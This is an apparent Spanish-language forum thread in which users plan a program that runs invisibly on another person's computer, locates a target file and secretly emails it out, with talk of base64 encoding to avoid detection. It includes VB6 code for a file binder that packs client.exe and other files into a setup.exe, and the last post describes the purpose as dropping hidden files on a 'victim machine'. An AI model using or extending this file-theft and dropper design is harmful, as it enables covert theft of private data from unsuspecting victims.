Es algo muy complejo lo primero que se tiene que hacer es crear un codigo que nos busque determinado archivo, si el archivo es encontrado que envie este "archivo por e mail" es algo complejo pero puedo hacerlo claro siempre acambio de algo ¿Que ofreces? 

Lo que planearia seria lo siguiente:
Que el programa se ejecute pero en modo invisible (el programa que crearemos) despues que busque determinado archivo claro para esto debemos saber en donde se encuentra el archivo, Que haga una carpeta nueva y copie el archivo y lo mande a esta carpeta, seguido que mande la copia del archivo via e-mail pero creo que esto ultimo no pasaria desapercivido (claro programarlo para que lo mande a cierto correo) el unico detalle seria hacer que mande el archivo sin ser descubierto y bueno creo que eso seria todo como lo dije es muy complejo pero de que se puede hacer se puede 

tu quieres que se adjunte pero que sea como oculto algo asi como que este en una imagen o algo por el estilo
o quieres que no aparezca adjunto ????
 tal vez lo puedas poner en base 64 no recuerdo bien  o podras adjuntar el archivo pasalo a binario o 64  y luego lo adjuntas como un txt funciona si no tiene parchado el internet explorer si es lo que te entendi

Haber te dare una pequeña ayudadita ya que me ha quedado la espina y anteriormente realice un programa que te permitia adjuntar archivos es algo muy simple no se si soporte todos los tamaños yo solo ponia trabajos de worpad pero vb no lo posee como una funcion sino que hay que abrir el otro archivo cargarlo a una variable y luego cargarlo dentro del .exe de la misma aplicacion luego al final se almacena una tabla con los limites del archivo luego se cortan usando estos datos con mid y luego guardas cada parte como archivo independiente haber me puse a trabajar en mi ordenador para sacarlo haber pasemos pues a lo que he generado:



Project: AddFiles.VB6
Option Explicit

Private Sub Form_Load()
Dim sFilesAdded As String
Dim outputFile As String

outputFile = App.Path & "\setup.exe"
Open outputFile For Binary As #1

Call appendFile("client.exe")
Call appendFile("admutil.dll")
Call appendFile("sample.dat")

Close #1
End Sub

Private Sub appendFile(filename As String)
Dim fileBuf As String
Dim filenameLen As Integer
Dim filesize As Long
Dim filePosition As Long
Dim footerIdent As String
Dim footerPosition As Long

footerIdent = "PUNI-FOOTER-IDENT"
filenameLen = Len(filename)
filePosition = LOF(1) + 1

'read in file to append, slurp into a String
Open App.Path & "\" & filename For Binary As #2
filesize = LOF(2)
fileBuf = String(filesize, Chr(0))
Get #2, 1, fileBuf
Close #2

' append the file
Put #1, filePosition, fileBuf

' write the footer record
footerPosition = filePosition + filesize
Put #1, , filenameLen
Put #1, , filename
Put #1, , filesize
Put #1, , filePosition
Put #1, , footerIdent
Put #1, , footerPosition
End Sub
 

a ver... punisher.. por lo q entendi al ejecutar y leer el programita rapidamente (xq recien llego de trabajar y tengo ya los ojos cruzados) el programa éste seria para.. esconder mis archivos en un exe y luego, cuando se ejecuta, largarlos en la makina victima?..es asi?
(loco, de paso te agradezco x la mano q me estas dando y al resto tambien )